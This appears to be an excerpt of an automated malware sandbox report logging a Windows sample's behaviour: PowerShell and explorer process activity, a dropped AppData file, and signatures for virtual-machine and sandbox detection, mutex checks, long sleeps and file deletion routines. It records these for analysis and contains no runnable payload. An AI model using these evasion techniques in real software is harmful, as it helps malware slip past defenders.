Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\SysWOW64\explorer.exe

Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep,

22_2_00083862

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\explorer.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_24-890

Switches to a custom stack to bypass stack traces

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API/Special instruction interceptor: Address: 7731C7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API/Special instruction interceptor: Address: 7731BFFA

Source: C:\Users\user\AppData\Roaming\gwseuha	Memory allocated: 390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Memory allocated: 27C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Memory allocated: 550000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 22_2_000816C7 GetCurrentProcessId,GetCurrentThreadId,CreateToolhelp32Snapshot,Thread32First,OpenThread,SuspendThread,ResumeThread,CloseHandle,Thread32Next,CloseHandle,

22_2_000816C7

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599797	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 851	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2113	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1193	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3796	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1544	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 588	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1091	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 4830	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 1354
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 4493
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 1122
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 4041
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 1242
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 3984

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3332	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3616	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3544	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3664	Thread sleep count: 1193 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3664	Thread sleep count: 3796 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3700	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3704	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3704	Thread sleep time: -599797s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3704	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3704	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3644	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3836	Thread sleep count: 1544 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3836	Thread sleep time: -154400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3828	Thread sleep count: 588 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3832	Thread sleep count: 1091 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3832	Thread sleep time: -109100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1340	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3836	Thread sleep count: 4830 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3836	Thread sleep time: -483000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3896	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\taskeng.exe TID: 4012	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha TID: 4048	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 1536	Thread sleep count: 1354 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 1536	Thread sleep time: -1354000s >= -30000s
Source: C:\Windows\explorer.exe TID: 2684	Thread sleep count: 4493 > 30
Source: C:\Windows\explorer.exe TID: 2684	Thread sleep time: -4493000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 2496	Thread sleep count: 1122 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 2496	Thread sleep time: -1122000s >= -30000s
Source: C:\Windows\explorer.exe TID: 2760	Thread sleep count: 4041 > 30
Source: C:\Windows\explorer.exe TID: 2760	Thread sleep time: -4041000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 2752	Thread sleep count: 1242 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 2752	Thread sleep time: -1242000s >= -30000s
Source: C:\Windows\explorer.exe TID: 2700	Thread sleep count: 3984 > 30
Source: C:\Windows\explorer.exe TID: 2700	Thread sleep time: -3984000s >= -30000s

Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	19_2_000C1D4A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	19_2_000C3ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	19_2_000C2B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 21_2_0008255C lstrcatW,PathAppendW,FindFirstFileW,RtlZeroMemory,lstrcatW,PathAppendW,lstrcatW,PathAppendW,StrStrIW,FindNextFileW,FindClose,	21_2_0008255C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_000815BE RtlZeroMemory,SHGetSpecialFolderPathW,lstrcatW,PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,PathCombineW,PathMatchSpecW,PathCombineW,FindNextFileW,FindClose,	22_2_000815BE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_000814D8 wsprintfW,FindFirstFileW,wsprintfW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,	22_2_000814D8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_000813FE wsprintfW,FindFirstFileW,wsprintfW,RemoveDirectoryW,FindNextFileW,FindClose,	22_2_000813FE

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 19_2_000C6512 GetSystemInfo,

19_2_000C6512

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599797	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
